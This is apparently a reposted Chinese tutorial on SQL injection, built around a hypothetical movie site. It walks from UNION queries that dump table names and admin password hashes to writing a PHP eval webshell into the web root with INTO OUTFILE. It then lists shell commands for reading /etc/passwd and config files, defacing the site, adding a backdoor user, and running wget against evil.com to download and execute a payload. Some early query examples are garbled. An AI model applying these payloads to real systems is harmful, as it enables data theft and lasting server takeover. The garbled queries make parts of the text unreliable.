SQL注入 基于报错的回显分析
在URL中修改对应的ID值数值型字符型等等字符型修改id值为1’查看报错回显如图1没有被执行字符错误则对应的SQL语句为select * from User where id$id limit 0,1数值型这次发现1被接收了而’还是不行则SQL为select * from User where id$id limit 0,11order by按照第几列排序来探测表有多宽。select * from User where id1’ order by 4,发现有3列2select * from User where id0’ union 1,version(),database() --(id可查到话会掩盖union的查询内容)3获取表名select * from User where id0’ union 1,version(),database() --4获取列名5 一句话木马一句话木马是一种极简的恶意脚本通常只有一行代码攻击者将其上传到服务器后可以通过该脚本远程执行任意命令从而控制服务器。在 SQL 注入场景中攻击者利用数据库的文件写入功能将一句话木马写入 Web 目录下的文件中进而获得网站的后门。一句话木马示例PHP?php eval($_POST[cmd]); ?该脚本接收 HTTP POST 请求中cmd参数的值并用eval()执行。攻击者只要向该文件发送包含cmdphpinfo();的 POST 数据就能执行任意 PHP 代码。所需前提条件MySQL 配置secure_file_priv不能限制写入目录为空或指定了 Web 目录且数据库用户具有FILE权限。知道 Web 绝对路径例如通过报错信息、phpinfo 或常见路径猜测。目录可写Web 目录需有写权限如www-data用户可写。注入点支持多语句或 UNION通常需要注入点能执行多条语句或 UNION 注入允许写入。我们用一个小型网站的实际例子从头到尾演示一遍这个过程你就会明白它的危害有多大了。场景设定假设有一个小型电影网站它的数据库里有一张叫movies的表。网站的详情页网址是www.dianying.com/detail.php?id1这个detail.php页面是这样从数据库查询电影信息的// 有漏洞的代码直接拼接用户输入的id$id $_GET[id];$sql SELECT title, description FROM movies WHERE id $id;// ...执行查询并显示结果第一步常规注入窃取数据攻击者访问www.dianying.com/detail.php?id-1 union select 1,2发现页面显示了1和2。接着他想看看数据库里有什么表www.dianying.com/detail.php?id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()页面返回了movies,users,admins。攻击者发现了users表于是查询其中的字段www.dianying.com/detail.php?id-1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers页面返回了id,username,password,email。最后他窃取管理员账号密码www.dianying.com/detail.php?id-1 union select 1,group_concat(username,:,password) from users假设页面返回admin:5f4dcc3b5aa765d61d8327deb882cf99这是password的MD5值。攻击者破解这个MD5拿到明文密码password。至此他已经可以登录网站后台了。但这还只是在偷东西。第二步写入木马夺取控制权攻击者不满足于此他想长期控制这台服务器。他通过之前的步骤已经探测到数据库用户有FILE权限通过特定注入语句判断。网站绝对路径是/var/www/html/可能是通过报错信息泄露的。MySQL的secure_file_priv配置允许导出文件到Web目录。于是他构造了最后的攻击请求www.dianying.com/detail.php?id-1 union select 1,?php eval($_POST[cmd]); ? into outfile /var/www/html/shell.php这条语句的作用是将?php eval($_POST[cmd]); ?这行代码写入到网站的根目录下并命名为shell.php。执行成功后攻击者访问www.dianying.com/shell.php。页面是空白的但这恰恰说明文件存在且没有报错。第三步通过木马实施破坏现在攻击者就可以使用任何支持POST请求的工具比如浏览器插件或专门的菜刀、蚁剑这类webshell管理工具向http://www.dianying.com/shell.php发送POST数据数据内容是cmdsystem(ls /etc/passwd);。实际发生了什么你的请求发送到shell.php。shell.php里的代码eval($_POST[cmd]);被执行相当于PHP执行了system(ls /etc/passwd);这条命令。服务器上的/etc/passwd文件内容就被读取并返回显示出来。攻击者现在能做什么拥有了在服务器上执行系统命令的能力后他可以查看服务器上的任意文件cmdsystem(cat /var/www/html/config.php);—— 读取数据库配置文件获取真正的数据库密码。篡改网站页面cmdsystem(echo Hacked by ... /var/www/html/index.html);—— 让所有访问网站首页的人看到攻击者留下的信息。添加系统后门用户cmdsystem(useradd -p $(openssl passwd -1 newpassword) hacker);—— 给自己创建一个服务器登录账号。下载并运行恶意程序cmdsystem(wget http://evil.com/virus -O /tmp/virus chmod x /tmp/virus /tmp/virus);—— 下载病毒或挖矿程序并执行把服务器变成肉鸡为其挖掘数字货币。攻击内网其他机器以这台服务器为跳板扫描和攻击同一内网的其他服务器。为什么说危害巨大从上面的过程可以看出危害的升级路径非常清晰信息泄露一开始只是泄露了数据库里的一些数据。权限提升通过写入一句话木马攻击者的能力从数据库操作升级到了服务器系统命令执行。失去控制攻击者不再依赖于有漏洞的网站页面他拥有了一个自己的后门(shell.php)。即使管理员修复了那个SQL注入漏洞只要没发现并删除这个木马文件攻击者依然可以随时通过它进入服务器。简单来说SQL注入是打开了门锁而一句话木马相当于在房子里给自己留了一把备用钥匙。即使主人换了门锁修复漏洞攻击者依然可以用备用钥匙木马文件自由进出这才是最可怕的地方。本回答由 AI 生成内容仅供参考请仔细甄别。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2418861.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!